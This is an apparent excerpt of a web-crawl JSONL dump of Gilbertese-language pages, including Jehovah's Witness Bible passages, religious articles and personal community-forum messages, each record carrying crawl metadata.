3:16","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/3\/aberaam-itaaka-tuoan-te-onimaki\/","date":"2018-03-20T08:10:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647322.47\/warc\/CC-MAIN-20180320072255-20180320092255-00614.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":394,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.472,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11 \"Kam riai n tangira Iehova ae Atuami+ ao ni kawakina mwiokoami irouna n taai nako, ao ana kaetieti, ana moti, ao ana tua. 2 Kam ataia bwa I taetae nakoimi n te bong aei, ao tiaki nakoia natimi ake a aki ataa ke n nora ana reirei ni kaetieti Iehova ae Atuami,+ kakannatona,+ baina ae korakora,+ ao baina ae aroraki. 3 A aki nori ana kanikina ma ana mwakuri ake e karaoi i Aikubita nakoni Barao, are uean Aikubita, ao nakon abana ni kabutaa,+ 4 ke te baere e karaoia nakoia ana taanga ni buaka Aikubita, ao nakoia ana aoti Barao ao ana kaa ni buaka, ake a rabunakinako n ranin Taari ae Uraura ngke a kaeingkami, ao e boni kamaunaia Iehova n te tai arei.*+ 5 A aki nora naba te baere e karaoia ibukimi* n te rereua, ni karokoa rokomi n te tabo aei, 6 ke te baere e karaoia nakon Ratan ao Abiram, ake natin Eriaba are tibun Reuben, ngke e uki aontano ao e kabwautiia ma kaaini bataia, ao aia umwanrianna, ao aomata ma maan aika maiu ni kabane ake raoia, i mataia tibun Iteraera ni kabane.+ 7 A a tia matami n nori mwakuri aika korakora ni kabane ake e karaoi Iehova. 8 \"Kam riai ni kawakina te tua ni kabane ae I anganingkami n te bong aei, bwa kam aonga n rikirake ni korakora ao ni mwananga n rin n te aba bwa kam na abanna, 9 ao e aonga n abwabwaki maiumi+ n te aba are e taetae n tuea Iehova bwa e na angania ami bakatibu ma kanoaia,*+ ae te aba ae raanga iai rannimamman te man ma aia karewe manibeeru.*+ 10 \"Te aba are kam na rin n abanna, bon tiaki aron te aba are Aikubita are kam otinako mai iai, ike kam taneiai iai n uniki ami koraa ao n teboki ni waemi,* n aron tebokan te onnaroka ibukin aroka aika kakanaki. 11 Ma te aba are kam nang mwananga n rin iai ao n abanna, bon te aba ae a mena iai maunga ao taabo aika aoraoi.+ E moi n te ran ae bwabwaka mai karawa,+ 12 bon te aba ae e tabeakinna Iehova ae Atuami. A teimatoa ni mena matan Iehova ae Atuami i aona, mani moan te ririki ni karokoa tokin te ririki. 13 \"Ao ngkana kam kakorakoraingkami n ongeaba n au tua aika I tua nakoimi n te bong aei, ao n tangira Iehova ae Atuami ao n toro irouna ma nanomi ni kabane ao maiumi* ni kabane,+ 14 ao N na anga naba te karau ibukin abami n taina ae baireaki, ae te moani karau, ao te karau are imwina riki, ao kam na ikotii ami uita* ao ami wain ae boou ao ami oera.+ 15 Ao N na karikii aroka n ami tawaana ibukia ami nanai, ao kam na amwarake ma n rauaki.+ 16 Taratara raoi bwa kam na aki kariaia bwa a na anaaki nanomi, ao n rairakinako n taromaurii atua riki tabeman, ao ni bobaraaki nakoia.+ 17 Bwa e kaawa n urarake unin Iehova nakoimi, ao e na kaina karawa bwa e na aki karau,+ ao e na aki anga uaana aontano, ao kam na waekoa ni mauna man te aba ae raoiroi ae e a anganingkami Iehova.+ 18 \"Kam riai ni karin au taeka aikai i nanomi ao ni kakaraoi ni maiumi,* ao kabaei bwa te kauring i aoni baimi, ao a riai n riki bwa kaanga te kanikina ae kabaeaki i aon ramwami.*+ 19 Reiakinia iai natimi, n taekini ngkana kam tekateka i nanon ami auti, ao ngkana kam nakonako i nanon te kawai, ao ngkana kam wene, ao ngkana kam teirake.+ 20 Korei i aoni bouan nako mataroan ami auti ao mataroan ami oo, 21 bwa e aonga n abwabwaki maiumi ma natimi+ n te aba are e taetae n tuea Iehova bwa e na angania ami bakatibu,+ n aroni maanin karawa i etan te aonnaba. 22 \"Ngkana kam kakairi raoi n te tua ae I a anganingkami aei ao kam kakororaoia, n tangira Iehova ae Atuami,+ n nakonako ni kawaina ni kabane, ao n nimtia,+ 23 ao e na kakioianako naba natannaomata aikai ni kabane Iehova mai mwaimi,+ ao kam na taui aia tabo natannaomata aika korakora riki ao n rangi ni bati riki nakoimi.+ 24 A na riki taabo nako ake a tei iai waemi bwa ami tabo.+ E na moa tiami man te rereua ni karokoa Rebanon, man te Karaanga ae te karaanga ae Iuberetiti nakon taari are mai maeao.*+ 25 Akea ae e na tei ni kaaitaraingkami.+ E na kabutaanako te maakunrang ao maakakimi Iehova ae Atuami, i aon te aba ni kabutaa ae kam nakonako iai,+ n aron are e beritanna nakoimi. 26 \"Noria, I kaaki i matami n te bong aei te kakabwaia ao te rekenikai:+ 27 te kakabwaia ngkana kam ongeaba n ana tua Iehova ae Atuami aika I tua nakoimi n te bong aei,+ 28 ao te rekenikai ngkana kam aki ongeaba n ana tua Iehova ae Atuami,+ ao kam rairakinako man te kawai ae I tua nakoimi bwa kam na kakairi iai n te bong aei, ao kam kakairi irouia atua aika kam aki kinaia. 29 \"Ngkana e kairingkami Iehova ae Atuami nakon te aba are kam na abanna, kam riai n taekina* te kakabwaia i aon te Maunga ae Keritim, ao te rekenikai i aon te Maunga ae Ebara.+ 30 Tiaki a mena n iteran te Ioretan are mai maeao,* i abaia tibuni Kanaan ake a maeka n te Arabaa* ni kaitaraa Kirekara, i rarikini kaai aika bubura ake arokani More?+ 31 Bwa kam a rinanon te Ioretan nakon iterana, bwa kam na rin ao n abana te aba ae e a anganingkami Iehova ae Atuami.+ Ngkana kam a abanna ao ni maeka iai, 32 kam riai n taratara raoi bwa kam na kakororaoi kaetieti ni kabane ma mooti aika I kaaki i matami n te bong aei.+\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"ni karokoa te bong aei.\"\n^ Ke, \"nakoimi.\"\n^ Ebera, \"aia kariki.\"\n^ Nora Nanon Taeka.\n^ Ke, \"kamwaimwaia ni waemi,\" ae rinanoni kabonganan te wae ni kakammwakura te wira ae kabuta te ran, ke tao ni karaoani kawain te ran ao kaukana.\n^ Ke, e kona n nanona \"te baare.\"\n^ Ebera, \"i marenani matami.\"\n^ Ae taekan Taari ae Abwabwaki, ae te Meriteranian.\n^ Ke, \"anga.\"\n^ Ke, \"ni bungin taai.\"\n^ Ke, \"te rereua ae aoraoi.\"","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/11\/","date":"2018-03-18T05:04:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645513.14\/warc\/CC-MAIN-20180318032649-20180318052649-00608.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1032,"character_repetition_ratio":0.068,"word_repetition_ratio":0.012,"special_characters_ratio":0.248,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\niai ami karekemane ae ena maneweaki iroia ami tia kairiri n ami makoro n nako nte 3 tiebetember 2011..oin ibukin te karekemane aio bukia buokaia kain ami roro iaon Rabi .\n1. te biri te manna iaon te bwina te tara\n2.te ororake\n3. te karaiuae\nngkana ko kani kaotako riki ao koa kaea am tia babaere n am makoro (bon akea ae e moan nanoia ma iati post nakoim ba aike iai taningaia ao n ongo )\nkam rabwa\nViews: 44\nComment","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/nakoin-te-nati-n-uma-maeka-iaon-suva-lautoka","date":"2018-03-22T23:17:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648103.60\/warc\/CC-MAIN-20180322225408-20180323005408-00615.warc.gz","language":"gil","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.000002145767212}","num_words":85,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Antai Iesu?\nBukina ngkai Iesu ae te I-Natareta bon te aomata ae te kabanea ni kakawaki ae e a tia ni maiu n te aonnaba aei.\nTera ana taeka Iesu ibukini kakannatona ni kabotauaki ma te Atua?\nNgkana akea buun ni koaua te Atua, e na kangaa n riki Iesu bwa natina?\nMaiun Iesu n te Aonnaba\nNoria bwa bukin tera ngkai e bukamaruaki te Kiritimati n Ritembwa 25.\nReiakinna bwa a kakoauaa bwa bon te aomata ni koaua Iesu ke tiaki.\nIangoi koaua ni kaineti ma rongorongo ake n te Euangkerio ao koroboki nikawai ake a a rangi ni maan.\nMaanra te tai man te tai are mate iai Iesu ni karokoa korean taian Euangkerio?\nMaten Iesu ao Mangautina\nA bati aomata aika iangoa te kaibangaki bwa aia kanikina Kristian. Ti riai ni kabongana n ara taromauri?\nTaben Iesu n Ana Kantaninga te Atua\nNora aron te tataro rinanon aran Iesu ni karineaki iai te Atua, ao n oti naba iai karinean Iesu.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/baibara-reirei\/titiraki\/ibukin-iesu\/","date":"2018-03-18T05:06:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645513.14\/warc\/CC-MAIN-20180318032649-20180318052649-00608.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":163,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Iraman Ana Tia Kakoaua Iehova aika ko kinaia? Tao tabeman mai buakora boni kaain rarikim, raom ni mwakuri, ke raom n reirei. Ke ti bae n tia ni maroro ma ngkoe n te Baibara. Antai raoi ngaira ao e aera ngkai ti tibwaa ara koaua nakoia aomata nako?\nBon aomata ngaira n ai aromi. Ti roko man aaba ao katei aika kakaokoro. Tabeman mai buakora ngkoa boni kaain Aaro tabeua ao tabeman riki a aki kakoauaa te Atua. Ma imwain rikira bwa taani Kakoaua, ti bane ni karekei ara tai n ukeri raoi reirei man te Baibara. (Mwakuri 17:11) Ti kakoauai baike ti reiakini ao imwina ti a karaoi ara motinnano i bon iroura bwa ti na taromauria Iehova ae te Atua.\nTi kakabwaiaaki man reiakinan te Baibara. Ti kekeiaki ribuakoni kangaanga ao ai mamaarara n aroia aomata nako. Ma imwin ara kekeiaki ni maiuakini booto n reirei n te Baibara ni katoabong, ti a noria bwa a a uaana riki ao n raraoi aroaroni maiura. (Taian Areru 128:1, 2) Anne bukina teuana ngkai ti tibwai baika raraoi ake ti a tia n reiakini man te Baibara.\nTi maiuakini booto n reirei man te Baibara. A karikirakea marurungira ao karineaia aomata booto n reirei aika ti reiakin n te Baibara, n ikotaki naba ma bwainakin te kakaonimaki ao te akoi. A boutokaa naba rikirakeni marurungia botannaomata bwa e na uaana aia mwakuri ao ni karikirakea te katiteuanaaki n te utu ao te aroaro ni maiu ae riai. Ngkai ti kakoauaa ae \"e aki inanonano te Atua,\" ti a kaaina iai te botaki n itaritari n te onimaki ae katobibia te aonnaba ae akea iai te kakaokoroaki n te reeti ao bwaai n tutuki man te tautaeka. E ngae ngke aomata ngaira n aromi, ma ti a riki bwa aomata aika okoro.\nTera ae a titeboo iai Ana Tia Kakoaua Iehova ma aomata nako?\nBaikara booto n reirei ake a a tia n atai taani Kakoaua man reiakinan te Baibara?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/nanon-Iehova\/antai-ana-tia-kakoaua-iehova\/","date":"2018-03-24T21:53:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257651007.67\/warc\/CC-MAIN-20180324210433-20180324230433-00529.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":326,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.402,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko a tia ni wareki raoi kaongora man Te Taua-n-Tantani n taai aika tibwa nako? Noria ngkana ko kona ni kaekai titiraki aikai:\nE aera Iehova ngke e kariaia aia buaka tibun Iteraera rimoa?\nE tatangira Iehova. Ma n tabetai ao e kariaia te buaka ngkana a karawawataaki ana aomata n te buakaka ke te bwainikirinaki. Tii te Atua n rineia bwa antai ae e na buaka ao e na boo n ningai.\nBaikara bwaai aika kakawaki ake a kona ni karaoia kaaro ni kataneiaia iai natiia aika tebwi tabun aia ririki bwa a na beku iroun Iehova?\nE kakawaki irouia kaaro bwa a na kaota tangiraia natiia aika tebwi tabun aia ririki, ao ni kaota te nanorinano n aia katoto. E kakawaki naba irouia bwa a na kaota te ataibwai ao ni kataia n ota irouia natiia aika tebwi tabun aia ririki.\nE aera bwa e aki riai n iangoaki te bobe bwa te tia ruamwini Betero?\nE aki taekinaki ni Mataio 16:17, 18 bwa e na riki te abotoro Betero bwa atun te ekaretia ni Kristian. E aki kaotaki n te Baibara bwa e anganaki te nakoa ae kakannato Betero, ma e kaotaki iai bwa Iesu bon atibun te maninganinga n te ekaretia. (1Bet. 2:4-8)\nBaikara baika ti riai n iangoi imwain ae ti taetae?\nBaikara rinanin te babakanikawai ae a riai n rawa iai Kristian?\nA rawa Kristian ni koaua ni kewe ao n uaraoia tabemwaang. A aki taekin taeka aika kewe ao ni kammaraki ni kabuakakaia tabemwaang, ao a aki naba aonikai ke ni kimoa.\nAntai \"mataniwi n ibonga\" ake a taekinaki n te Baibara?\nN taraana ao te taeka ae \"mataniwi n ibonga\" e kaineti nakoia aomata ake a kakannato i buakoia utu n ibonga, n ikotaki ma ibonga aika rietata rimoa ake a a tia ni kakerikaakaki.\nTera arora ae riai nakon temanna ae katoong banna n te Kauring?\nTera reireiara man aron Aberaam n riki bwa raoraon te Atua?\nE reiakina taekan te Atua Aberaam tao mairoun Tem. E karekea reireiana Aberaam mani baike e rinanona ake e karaoi te Atua nakoina ma ana utu. Ti kona ni kataia ni karaoa naba anne.\nE kangaa ni moan nambwanaki mwakoron te Baibara ao kibuna?\nN te ka-13 n tienture ao te mitinare ae Stephen Langton e a bwenauaa te Baibara ni karini mwakorona. Taani kaewewe aika I-Iutaia a moani karini kiibu n te Baibara n Ebera, ao n te ka-16 n tienture ao te tia rabakau ae Robert Estienne e karaoa naba aekakin anne n te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti.\nTe koaua bwa Tatan e boni kaira raoi Iesu nakon te tembora bwa e na kariria iai?\nN aanga raa ae e kona iai n riki ara mwakuri ni minita ni Kristian bwa kaanga te aoi?\nTeutana imwin teutana ao e ikoikotaki te aoi, ao e kabebetenano ma ni kateimatoa te maiu. Te aoi bon te kakabwaia teuana mairoun te Atua. (TuaKau. 33:13) Ikotakin aia kakorakora ana aomata te Atua n te mwakuri ni minita bon aekakin te aoi.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-tun-2016\/ko-uringnga\/","date":"2018-03-24T20:56:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650993.91\/warc\/CC-MAIN-20180324190917-20180324210917-00349.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":507,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"hey Tutu tao koa bon tia n ongo te rongorongo are motirawa Tekateke ara buun Teretia two days ago. Antai ae nang aki motirawa man te maeiu aio kee . bon ti tekeiakinaki aron te maeiu aio ba kona roko n te mwenga are ei tiaki .\nAhahahah ....Tutu eng kai e koaua aee.. ae ti maroro ikai kee ao ngaia anne tuanga tariu anne bwa e na bwaina te amamarake kee ba eaongan ae e a intoa kee ...ahahaha angania am koraki naba ara kamauri . Tekeraoi ao tia boo ngkami\nTutu mauri moa ngkoe ao buum are te boboto anne Tinakabuta. kam aura moa ngkai.e raraba te maeu aio ba tia manga uaia ni nono ikai kee .e tau ma kam na tiku ma te tekraoi ao ngai ia nako ma te makeikei. anga aia kamauri au koraki nakoimi ni kabane\nneiko kouara moa ngkai .auara natim aikanne ?? eaura raom anne ?? koa anganna naba au kamauri kee. long time ma e raba ba ia tiba roko n ami auc aio ma ia ti katuka naba au rongorongo nakoimi ngke akea ngkami E tau ma rtekeraoi ngkami ma buum anne ao natimi ni kabane . E.Akai tia boo moa ngkami.\nmauri\nwel glad 2 hea d@ da drop outs r sculing.so wat happen to miss Benia n Mirini???anyways send regards 2 da new teachers...ahahahah.ohh m in kiribati doing my foundation in usp n probably i'll b in fj by nxt yr n hope to visit da paradise island (rabi)","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/banabanvoice.ning.com\/profile\/tutuatauea","date":"2018-03-24T21:15:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257651007.67\/warc\/CC-MAIN-20180324210433-20180324230433-00459.warc.gz","language":"gil","language_score":0.9997208714,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"gil_Latn_score\": 0.9997208714485168}","num_words":244,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.205,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bon 17 au ririki ao iai irou tabetaben te iango ao tangiran te kani kakannato, n aroia angia ataei aika tebwi tabun aia ririki. I tatangiria n airiiri ma raoraou, n uaua ao ni butibooro. Ma n te tairiki teuana ao e a riki naba te kabuanibwai ni maiu. I boni kurati n te rebwerebwe n te aro ae rangi ni kakaiaki ike I aikoa kona ni kakammwakuri iai mai roroau rikaaki. E riki anne 27 te ririki n nako ao I boni wewene naba ngkai n te kainiwene i nanon te tai ae maan.\nI ikawairake ni kaawan Alicante, i maeaon Tibein n te tabo ae uakaan ma taari. Bon akea te kairiri raoi n au utu, ngaia are e babane riki au tai i rarikin te kawai ngke te roro n rikirake ngai. E uakaan au auti ma te tabo n onorabwa. E a riki José María bwa raoraou ae temanna mai buakoia taani mwakuri n te tabo anne. Bon te aomata ae akoi are e kaota tabeakinau are I aki karekea mairouia oin au utu. Kaanga bon tariu ao te rao ni koaua n taai ake I rangi n rawawata iai, e ngae ngke 20 te ririki ikawaina i aou.\nE moana te reirei n te Baibara José María ma Ana Tia Kakoaua Iehova. I ataia ae e rangi n tangira te Baibara ao e aki toki n tibwai koaua man te Baibara nakoiu. I ongora irouna bwa I karinea ma e aki rangi n anaaki nanou n te baere e taekinna. Ai bon tibwa tebwi tabun au ririki ao e tabetabe au iango ni bwaai tabeua. Ma e ngae n anne, i aoni kawaina te bitaki.\nTE KABUANIBWAI AE KARIKA BITAKINI MAIU\nI aki tangiria ni mamaroroakina taekan te kabuanibwai n te kawai. Te bwai ae N na taekinna bwa I baba ao I aki tarabwai. E bitaki maiu ni kabanea n te bong ae tii teuana. Man te roro n rikirake ae marurung ao I aikoa kona ni kakammwakuri n te tai ae karina ao n tiku i nanon te onnaoraki. E rangi ni kangaanga ae N na butimwaea ataakin te bae I rinanona ngkai. I teimatoa n titirakinai ni kangai: 'Iai bukina ngkai ti maiu?'\nE kawarai José María ao e waekoa ni bairea kawarau n te onnaoraki irouia Ana Tia Kakoaua Iehova man ana ekaretia. E ringaki nanou ni kawarau irouia taani Kakoaua akanne n taai nako. I a moana reiakinan te Baibara n te tai naba are I otinako iai. I a ataa te koaua bwa e aera ngkai a rawawata ma ni mate aomata ao bukin tera bwa e aki katoka te buakaka te Atua. I reiakina naba ana berita te Atua ibukin te tai ae e na roko, ngkana e nang onrake te aonnaba ni kabutaa irouia aomata aika kororaoi ao akea ae na manga kangai iai: \"I aoraki.\" (Itaia 33:24, BG) Aei te tai are I moani karekea iai te kantaninga ae moan te raoiroi.\nNgke I kitana te onnaoraki ao I waekoa n rikirake n au reirei n te Baibara. I a kona n irii aia bobotaki tabeua Ana Tia Kakoaua Iehova ao ni karaoa te mwakuri n uarongorongo ni kamanenaan te kaa ibukia mwauku. N Nobembwa 5, 1988 ao I a bwabetitoaki ni kateboau i nanon te taabu n tebotebo ngke 20 au ririki. E a tia Iehova ae te Atua ni buokai ni karekea te aroaro ae raoiroi. Ma tera ae I kona ni karaoia ni kaotiota iai au kakaitau?\nI WAAKINAKO N AKI ONGEA MWAUKUU\nI kamatoaa nanou n aki kariaia te bae I rinanona bwa e na totokoai mani karaoan au beku ibukin Iehova. I tangiria n rikirake. (1 Timoteo 4:15) N te moantai, e bon aki bebete bwa a kaitaraai au utu n au onimaki. Ma a a riki rao n te onimaki bwa tariu ao mwaaneu. A taraia raoi bwa N na irii bobotaki n taromauri ao n te mwakuri n uarongorongo.\nNi waakinakon te tai, e a kakoauaaki bwa I kainnanoa tabeakinau n taai nako n te tabo are a tabeakinaki iai mwauku aika kakaiaki. Imwini kakaaean te tabo anne n te tai ae maan, I a kunea te tabo ae raoiroi ibukia mwauku ni kaawan Valencia, 160 te kiromita i meangin Alicante. E a riki te tabo anne bwa oini mwengau.\nE ngae ngke I a boni wewenewene naba ma I motinnanoia bwa N na tibwaa au koaua nakoia tabemwaang\nE ngae ngke I a boni wewenewene naba ma I motinnanoia bwa N na teimatoa ni beku ibukin Iehova. I kabongana te mwane are I karerekea ibukini mwaukuu ao taiani mwane ni buoka riki tabeua, ni karekea iai au kaombiuta ao ni kanimmwa ma au kainiwene. I karekea naba au mobwaao. E kakamaiuaki au kaombiuta ao au mobwaao ni katoa moaningabong iroun te tia tararuaia aoraki. I kamanena te bwai ae kaanga te kai ae I kammwakuria ni bwangeu ni kammwakura iai au kaombiuta. I kamanena naba te kai ae uarereke ae kaokoro are I kona n taua ni wiu ma ni kotei iai manin taeka n te keyboard, ke n orea te nambwa n au mobwaao.\nI kangaa ni buokaki n te baei? Te moanibwai, I a kona n rin n te atureti ae jw.org ao te Watchtower ONLINE LIBRARY. Ai tamaroara bwaai ni mwakuri aikai ibukiu! I kababanei aoa tabeua ni katoabong n reirei ao n ukeuke ni booki aika boto man te Baibara, n te aro are I a kona n teimatoa n reiakina taekan te Atua ao aroarona aika moan te tamaroa. Ma ngkana I namakina te maroaa ke te bwarannano, e tauraoi te bwai teuana are e kona ni kakorakoraai, n te Atureti n te Intanete.\nI kona naba n ongora mai iai ao ni karaoi bwaai tabeua n taiani bobotaki n te ekaretia. I kona naba n anga iai au kaeka, ni kaira te tataro, ni kabwarabwara ao ni wareware naba n te Taua-n-Tantani ngkana I mwiokoaki. E ngae ngke I aki kona n roko n taiani bobotaki ma I namakinna bwa kaanga I boni mena i buakoia kaain te ekaretia.\nE reke naba angau ni boutokaa te mwakuri n uarongorongo n au tareboon ao au kaombiuta. Ni koauana, I aki kona n nakon te auti teuana ma teuana n aron ae a kakaraoia angia kaain Ana Tia Kakoaua Iehova. Ma I aki kariaia bwa N na aki karaoa te mwakuri anne. Ni kamanenaani bwaai ni mwakuri aikai, I a kona iai n tibwaa au koaua nakoia tabemwaang. Ni koauana, I rangi ni kukurei ni mamaroro ma aomata n te tareboon. Ibukin anne, a a tuangai unimwaane n au ekaretia bwa I kona ni babairea kairan te uarongorongo n te tareboon ibukin te mwakuri ae okoro. E rangi n ibuobuoki te mwakuri ae okoro aei, moarara riki ibukia kaain te ekaretia ake a aki kona ni kitana mwengaia bwa a aki kona n nakonako.\nMa e aki boboto maiu tii man taiani kukune aika boou aikai. A kakawarai raoraou ni katoabong. A kairiia naba aia koraki ao raoraoia ake a kan reirei n te Baibara. A a aki toki naba n tuangai bwa N na kaira te reirei. N taai riki tabeua, a bon roko utu irou ao n tuangai bwa I kona n ira buakon aia taromauri n utu n te tairiki. E ringaki riki nanou ngkana a tekateka ataei i rarikiu n au kainiwene ao ni kaongoraeai bukin tangiran Iehova irouia.\nI rangi ni kukurei n rorokoia taari aika bati irou. E aki toki n onrake au ruu irouia raoraou ake a roko n norai man taabo aika kaan ao n raroa. Ko kona n iangoa aroni mimia taan tararua n au tabo n te mwamwannano aei. I kaitaua Iehova ni katoabong ibukina bwa e a tia ni kariaia menau n te botaki n itaritari ae tamaroa aei.\nTE KABOKORAKORA\nNgkana e kamaurai temanna ao n titirakinai bwa I uara, I aki toki ni kangai: \"Ae I bon teimatoa naba ni kabokorakora!\" Ni koauana, I ataia ae tiaki tii ngai n rinanon te kangaanga aei. E ngae ngke tera ae riki nakoira ke ara kangaanga, a bane Kristian ni buaka n \"te buaka ae raoiroi ibukin te onimaki.\" (1 Timoteo 6:12) Tera ae buokai bwa N na teimatoa ni buaka i nanon ririki aika bati? I tataro ni katoabong ao ni kaitaua Iehova ibukini maiu ae manena. Ao I kataia ni katabetabeai n taai nako ni beku ibukin te Atua ma ni kaatuua taraakin te kantaninga ae imwaiu.\nI aki toki n iangoia bwa tera aron te waaki ae boou i aon te aba ao ngkana ko a manga kona ni biribiri ao ni kibakiba. N tabetai, I manikangare ibukin irakin te kabobirimwaaka nakon raoraou ae José María are e rotaki n te aoraki ae te polio. I titirakinna ni kangai: \"Antai ae e na tokanikai?\" E kaekaai ni kangai: \"E aki kakawaki bwa antai ae tokanikai, ma e kakawaki riki te roko ikekei, n te Bwaretaiti ao n ira buakon te kabobirimwaaka.\"\nE bon aki bebete irou butimwaeani maroroakinan ae I mwauku. I ataia ae I a tia ni karaoa te bwai ae I baba iai ngke tebwi tabun au ririki ao anne are I a rangi n rotakibuaka iai. Ma e ngae n anne, I rangi ni kaitaua Iehova bwa e aki kitanai. E a tia n anganai ae rangi ni bati n aron au utu n te onimaki ae rangi ni bubura, tangiran te kani maiu, te kimwareirei ni buokiia tabemwaang ao te kantaninga ae rangi n tamaroa ibukin te tai ae e na roko. Ngkana N na kabwarabwaraa au namakin ni kakimototoa n teuana te kibuntaeka, N na bon taekinna bwa E a tia Iehova n anganai ae bati riki nakon ae I kantaningaia.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150801\/kakabwaia-mairoun-te-atua\/","date":"2018-03-25T01:30:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257651481.98\/warc\/CC-MAIN-20180325005509-20180325025509-00026.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1614,"character_repetition_ratio":0.045,"word_repetition_ratio":0.006,"special_characters_ratio":0.221,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri Tariu\nNgkana ko kan reitaki ma kain Stream Valley ao aio te number irouia nei Tarotuma ma: 9537220.\nE koroboki nei Tarotuma nakoiu n tuangai are a katea aia auti irarikin ana auti Teem ao tangaia nei Marin ma aia ataei a raona Teem, a bon marurung ao ea bati te ununiki vegetables irouia.\nIa manga ongora mai iroum mai ikanne.\nTia boo moa\nMauri Sis! I an nang kukurei n ongo mai iroum, e raba naba te tangira ba tia kona reitaki nte e-mail aio. Mom ngkai e nang retire nte ririki aei, ai temana au mane ao uoman au aine. Temaka jnr ea koraki aua ao nake aine a tuai n reirei. Tia reitia iaon te e-mail, au e-mail email@example.com ke firstname.lastname@example.org nte makuri......tia boo moa, tekeraoi naba......ngkana iai am skype address ao ko a kanakomaia.\nMauri te unaine??? Ea man te taai ao ti tuai man reitaki ia tiba oki naba mai kiribati ao ngke ko mena ia ikanne??? I bon roroko irouia Nei Tebora maa ti neeu i Eita. Bon te kamauri nakoia am koraki. Ngai bon ti temanna natiu te aine, ea class 4 ok auty tia bo moa ao koa manga reitia mai ikanne.\nmauri riki ....,\nakea te kanganga n aron are ko taku i bukin am kan reitaki ma am utu i Rabi . nakataia ni kakaea n arrange am appoinment am am utu i Rabi ..i boni kinaia am koraki i Rabi .ma ngai i online mai i suva ma aio ana number nei Karawa ....8204526..Ieremia ...8201671...ngkana ake te i bitaki tia manga bon reitaki nte KOC\nkoraba\nMauri Sis\nKanga iaki bati kakawara te site aio ma its nice to know ko bon maiu naba.....ko uara ma kain abam ao am koraki n ataei? Ko a bon aki kan karairaki kee? Ko kanganga ma congrats naba n am makuri ao katean am utu.....2 weeks back ao ti kaitibo ma Amon ma nei Manang iroun Mum. Ti nang kukurei ngke ba tia tiba noria....E tau moa, tia boo ao e tekeraoi te waki.\nMauri ngkoe..titabo ma koa bon aki nonora te comments kee...e tikiraoi 